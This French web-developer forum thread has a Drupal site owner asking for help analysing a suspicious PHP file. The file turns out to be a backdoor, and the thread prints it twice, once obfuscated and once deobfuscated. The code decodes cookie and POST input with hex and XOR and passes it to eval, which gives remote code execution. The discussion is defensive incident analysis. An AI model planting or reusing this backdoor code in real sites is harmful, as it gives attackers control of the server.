IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage PHP Discussion :

Aide pour décoder une potentielle backdoor


Sujet :

Langage PHP

  1. #1
    Membre du Club
    Profil pro
    Inscrit en
    Août 2008
    Messages
    130
    Détails du profil
    Informations personnelles :
    Âge : 36
    Localisation : France, Doubs (Franche Comté)

    Informations forums :
    Inscription : Août 2008
    Messages : 130
    Points : 53
    Points
    53
    Par défaut Aide pour décoder une potentielle backdoor
    Bonjour à tous,

    j'ai retrouvé un fichier php étrange sur mon site et j'aurais besoin d'un petit coup de pouce pour comprendre ce qu'il fait.
    Après quelques recherche et tentatives pour l'exécuter sur un environnement de test, il semblerait que ce code en cache un autre, ce qui me fait penser éventuellement à une backdoor.
    Le site est sous drupal et je n'ai pas trouvé de référence à ce genre de fichiers dans la doc drupal et mes compétences en php sont assez limitées c'est pourquoi je me permet de me tourner vers vous pour un coup de main.
    L'idéal pour moi serait de comprendre ce que fait le code et le résultat final.
    voici le code réindenté car il était sur une seule ligne dans un fichier nommé xeftyuew.php

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
     
    <?php
    $rjtfqjw = 'ic5dul7_kamrxbn0o6\'ep#t*gH8yf-2v4s';
    $lwnsqn = Array();
    $lwnsqn[] = $rjtfqjw[25].$rjtfqjw[23];
    $lwnsqn[] = $rjtfqjw[21];
    $lwnsqn[] = $rjtfqjw[19].$rjtfqjw[28].$rjtfqjw[30].$rjtfqjw[13].$rjtfqjw[28].$rjtfqjw[17].$rjtfqjw[15].$rjtfqjw[3].$rjtfqjw[29]
    .$rjtfqjw[30].$rjtfqjw[17].$rjtfqjw[13].$rjtfqjw[26].$rjtfqjw[29].$rjtfqjw[32].$rjtfqjw[28].$rjtfqjw[32].$rjtfqjw[6].$rjtfqjw[29]
    .$rjtfqjw[9].$rjtfqjw[2].$rjtfqjw[32].$rjtfqjw[15].$rjtfqjw[29].$rjtfqjw[30].$rjtfqjw[1].$rjtfqjw[13].$rjtfqjw[2].$rjtfqjw[32]
    .$rjtfqjw[30].$rjtfqjw[17].$rjtfqjw[2].$rjtfqjw[2].$rjtfqjw[6].$rjtfqjw[3].$rjtfqjw[17];
    $lwnsqn[] = $rjtfqjw[1].$rjtfqjw[16].$rjtfqjw[4].$rjtfqjw[14].$rjtfqjw[22];$lwnsqn[] = $rjtfqjw[33].$rjtfqjw[22].$rjtfqjw[11].$rjtfqjw[7].$rjtfqjw[11].$rjtfqjw[19].$rjtfqjw[20].$rjtfqjw[19].$rjtfqjw[9].$rjtfqjw[22];
    $lwnsqn[] = $rjtfqjw[19].$rjtfqjw[12].$rjtfqjw[20].$rjtfqjw[5].$rjtfqjw[16].$rjtfqjw[3].$rjtfqjw[19];
    $lwnsqn[] = $rjtfqjw[33].$rjtfqjw[4].$rjtfqjw[13].$rjtfqjw[33].$rjtfqjw[22].$rjtfqjw[11];
    $lwnsqn[] = $rjtfqjw[9].$rjtfqjw[11].$rjtfqjw[11].$rjtfqjw[9].$rjtfqjw[27].$rjtfqjw[7].$rjtfqjw[10].$rjtfqjw[19].$rjtfqjw[11].$rjtfqjw[24].$rjtfqjw[19];
    $lwnsqn[] = $rjtfqjw[33].$rjtfqjw[22].$rjtfqjw[11].$rjtfqjw[5].$rjtfqjw[19].$rjtfqjw[14];
    $lwnsqn[] = $rjtfqjw[20].$rjtfqjw[9].$rjtfqjw[1].$rjtfqjw[8];
     
    foreach ($lwnsqn[7]($_COOKIE, $_POST) as $fnrglxa => $kxrqhil){
    	function yxxizuf($lwnsqn, $fnrglxa, $nnyhoed){
    			return $lwnsqn[6]($lwnsqn[4]($fnrglxa . $lwnsqn[2], ($nnyhoed / $lwnsqn[8]($fnrglxa)) + 1), 0, $nnyhoed);
    		}
    		function eyxsy($lwnsqn, $altqk){
    			return @$lwnsqn[9]($lwnsqn[0], $altqk);
    		}
    		function gcntghj($lwnsqn, $altqk){
    			$iahdk = $lwnsqn[3]($altqk) % 3;
    				if (!$iahdk) {
    					eval($altqk[1]($altqk[2]));
     
    					exit();
    				}
    		}
    		$kxrqhil = eyxsy($lwnsqn, $kxrqhil);
    		gcntghj($lwnsqn, $lwnsqn[5]($lwnsqn[1], $kxrqhil ^ yxxizuf($lwnsqn, $fnrglxa, $lwnsqn[8]($kxrqhil))));
     
     
    }
    la seule chose que j'ai réussi à sortir est en utilisant une petite boucle pour afficher le contenu de la variable "$lwnsqn"

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
     
    for ($i=0;$i<10;$i++){
    	echo $lwnsqn[$i];  
    }
    et voici le résultat obtenu: H*#ef2bf60d-26b8-4f47-a540-2cb5426557d6countstr_repeatexplodesubstrarray_mergestrlenpack

    j'ai pu également voir que les backdoor pouvaient utiliser la fonction php eval, ce qui est le cas ici, mais je voudrais comprendre d'abord ce que fait ce code avant de le virer.

    Merci d'avance,

    bonne journée

  2. #2
    Membre habitué
    Homme Profil pro
    Developpeur
    Inscrit en
    Juillet 2014
    Messages
    102
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Calvados (Basse Normandie)

    Informations professionnelles :
    Activité : Developpeur

    Informations forums :
    Inscription : Juillet 2014
    Messages : 102
    Points : 153
    Points
    153
    Par défaut
    Ca sent en effet le fichier malveillant.
    Le mieux serait d'arriver à savoir comment ce fichier s'est retrouvé sur ton serveur.
    Souvent il s'agit de faille au niveau de plugins utilisé sur le site Drupal (j'avais eu le cas via un plugin de richTextBox). Il faut s'assurer que ces plugins ne comportent pas de faille de sécurité et que ce sont bien les dernières versions qui sont installées.

  3. #3
    Membre du Club
    Profil pro
    Inscrit en
    Août 2008
    Messages
    130
    Détails du profil
    Informations personnelles :
    Âge : 36
    Localisation : France, Doubs (Franche Comté)

    Informations forums :
    Inscription : Août 2008
    Messages : 130
    Points : 53
    Points
    53
    Par défaut
    yes je suis en train de contrôler tout ça.

    J'ai réussi à décoder en fait c'est bel et bien une backdoor:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
     
    foreach (array_merge($_COOKIE, $_POST) as $key => $value){
       function xorval($key, $length) {
           return substr(str_repeat($key . 'ef2bf60d-26b8-4f47-a540-2cb5426557d6', ($length / strlen($key)) + 1), 0, $length);
       }
       function do_pack($val_to_pack) {
           return @pack('H*', $val_to_pack);         // H* => HexString
       }
       function do_exec($decoded_array) {
           $check = count($decoded_array) % 3;
               if (!$check) {
                   eval($decoded_array[1]($decoded_array[2]));
                   exit();
               }
       }
       $value = do_pack($value);
       # probably of the form whatever#function#argument
       do_exec(explode('#', $value ^ xorval($key, strlen($value))));
    }
    par contre je ne comprend pas bien ce que ça fait, une idée peut être?

    Merci d'avance

  4. #4
    Membre habitué
    Homme Profil pro
    Developpeur
    Inscrit en
    Juillet 2014
    Messages
    102
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Calvados (Basse Normandie)

    Informations professionnelles :
    Activité : Developpeur

    Informations forums :
    Inscription : Juillet 2014
    Messages : 102
    Points : 153
    Points
    153
    Par défaut
    Je dirai que ça permet d'executer du code php passé en paramètre (les params sont décodés au préalable). Dans le cas que j'ai rencontré ça servait à envoyer une multitude de mails

  5. #5
    Membre du Club
    Profil pro
    Inscrit en
    Août 2008
    Messages
    130
    Détails du profil
    Informations personnelles :
    Âge : 36
    Localisation : France, Doubs (Franche Comté)

    Informations forums :
    Inscription : Août 2008
    Messages : 130
    Points : 53
    Points
    53
    Par défaut
    ok merci à toi !

    j'ai bien l'impression que ça soit un truc dans le genre effectivment.
    j'irais même jusqu'à dire que ça récupère la variable post d'un formulaire (par exemple si je colle un "ls /etc/passwd" dans un formulaire en POST) et l'écrit dans le cookie le tout est en suite interpreté.
    ce que je dis n'est pas super clair mais c'est parce que ça ne l'est pas pour moi haha

    merci encore à toi

Discussions similaires

  1. [VB.NET] besoin d'aide pour déchiffrer un code
    Par pcdj dans le forum Windows Forms
    Réponses: 10
    Dernier message: 27/06/2006, 11h32
  2. Aide pour déboguer un code
    Par raou123 dans le forum Assembleur
    Réponses: 3
    Dernier message: 12/04/2006, 13h23
  3. Aide pour comprendre un code
    Par Spacy_green dans le forum Assembleur
    Réponses: 2
    Dernier message: 13/02/2006, 13h22
  4. Aide pour comprendre le code
    Par jfreuff dans le forum Assembleur
    Réponses: 2
    Dernier message: 31/01/2006, 17h54
  5. Je besoin d'aide pour terminer mon code
    Par Paulinho dans le forum C++
    Réponses: 7
    Dernier message: 06/11/2005, 23h30

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo